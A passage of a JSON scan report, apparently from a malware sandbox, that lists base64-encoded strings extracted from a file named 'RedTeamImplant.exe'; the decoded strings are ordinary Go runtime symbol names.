Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hY3F1aXJlU3Vkb2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hY3RpdmVNb2R1bGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGQx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRDbGVhbnVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5BZGRDbGVhbnVwW2dvLnNoYXBlLnN0cnVjdCB7IFBpZCBpbnQ7IG9zLnN0YXRlIHN5bmMvYXRvbWljLlVpbnQzMjsgb3Muc2lnTXUgc3luYy5SV011dGV4OyBvcy5oYW5kbGUgKm9zLnByb2Nlc3NIYW5kbGU7IG9zLmNsZWFudXAgcnVudGltZS5DbGVhbnVwIH0sZ28uc2hhcGUuKnVpbnQ4XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5BZGRDbGVhbnVwW2dvLnNoYXBlLnN0cnVjdCB7IFBpZCBpbnQ7IG9zLnN0YXRlIHN5bmMvYXRvbWljLlVpbnQzMjsgb3Muc2lnTXUgc3luYy5SV011dGV4OyBvcy5oYW5kbGUgKm9zLnByb2Nlc3NIYW5kbGU7IG9zLmNsZWFudXAgcnVudGltZS5DbGVhbnVwIH0sZ28uc2hhcGUuKnVpbnQ4XS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRFeHRyYU0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRmaW5hbGl6ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRyUmFuZ2UuY29udGFpbnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRyUmFuZ2Uuc2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRyUmFuZ2Uuc3VidHJhY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRyc1RvU3VtbWFyeVJhbmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGRzcGVjaWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3RjdHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3RkZWZlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3RmcmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3RwYW5pY3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3Rwb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3Rwb2ludGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hZGp1c3RzdWRvZ3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGdpbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGlnbkRvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGlnblVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxnYWRk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxHc1NuYXBzaG90","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxvY20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxvY20uZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxvY21jYWNoZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxvY21jYWNoZS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hbGxaZXJv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hcHBlbmRJbnRTdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hcmVuYUlkeC5sMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hcmVuYUlkeC5sMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hcmVuYUluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hcmdz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc21jZ29jYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc21jZ29jYWxsX2xhbmRpbmdwYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc21pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc21zdGRjYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc21zdGRjYWxsX3RyYW1wb2xpbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc3NlcnRFMkk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc3NlcnRFMkky","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc3luY1ByZWVtcHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hc3luY1ByZWVtcHQy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hdG9taWNBbGxH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hdG9taWNBbGxHSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hdG9taWNzdG9yZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hdG9taWN3Yg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRjdHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWREZWZlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRtY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRtY2FsbDI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRtb3Jlc3RhY2tnMA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRtb3Jlc3RhY2tnc2lnbmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRQb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRyZWZsZWN0Y2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRzeXN0ZW1zdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWRUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iYWR1bmxvY2tvc3RocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iZ3NjYXZlbmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iZ3N3ZWVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iaW5hcnlTZWFyY2hUcmVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iaXRDdXJzb3Iub2Zmc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5iaXRDdXJzb3Iud3JpdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ibG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ibG9ja0FsaWduU3VtbWFyeVJhbmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ibG9ja2V2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ibG9ja3NhbXBsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ibG9ja1RpbWVyQ2hhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ib29sMmludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ib290c3RyYXBSYW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ib290c3RyYXBSYW5kUmVzZWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ib3VuZHNFcnJvci5FcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWlsZEdDTWFzaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWlsZEludGVyZmFjZVN3aXRjaENhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWlsZEludGVyZmFjZVN3aXRjaENhY2hlLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWlsZFR5cGVBc3NlcnRDYWNoZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWlsZFR5cGVBc3NlcnRDYWNoZS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWxrQmFycmllckJpdG1hcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWxrQmFycmllclByZVdyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5idWxrQmFycmllclByZVdyaXRlU3JjT25seQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ieXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jMTI4ZXF1YWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jMTI4aGFzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jNjRlcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jNjRoYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTAyNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTA0ODU3Ng==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTA3Mzc0MTgyNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTI4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTMxMDcy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTM0MjE3NzI4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTYzODQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMTY3NzcyMTY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMjA0OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMjA5NzE1Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMjU2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMjYyMTQ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMjY4NDM1NDU2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMzI3Njg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsMzM1NTQ0MzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNDA5Ng==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNDE5NDMwNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNTEy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNTI0Mjg4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNTM2ODcwOTEy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNjU1MzY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsNjcxMDg4NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsODE5Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsODM4ODYwOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsYmFja2FzbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsYmFja2FzbTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsYmFja2FzbUFkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsYmFja1VwZGF0ZVN5c3RlbVN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsYmFja1dyYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsQ2dvU3ltYm9saXplcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsZXJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5DYWxsZXJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYWxsZXJzLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5DYWxsZXJzRnJhbWVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYW5wYW5pYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYW5QcmVlbXB0TQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYW5zZW1hY3F1aXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNmcm9tX0dzY2Fuc3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNHRnJvbVByZWVtcHRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNnc3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNnc3RhdHVzLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNnc3RhdHVzLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNnc3RhdHVzLmZ1bmMz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNnc3RhdHVzLm9zeWllbGQuZnVuYzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNHVG9QcmVlbXB0U2Nhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNHVG9XYWl0aW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXNHVG9XYWl0aW5nRm9yU3VzcGVuZEc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYXN0b2dzY2Fuc3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYnNMb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jYnNVbmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29CaW5kTQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxsYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxsYmFja2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxsYmFja2cx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxsYmFja2cxLmRlZmVyd3JhcDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxsYmFja2cxLmRlZmVyd3JhcDI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29jYWxsYmFja2cxLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jZ29Db250ZXh0UENz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFuYnVm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFubGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFucGFya2NvbW1pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFucmVjdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFucmVjdi5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFucmVjdjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFuc2VuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFuc2VuZC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGFuc2VuZDE=","type":"Ansi","source":"Memory/File 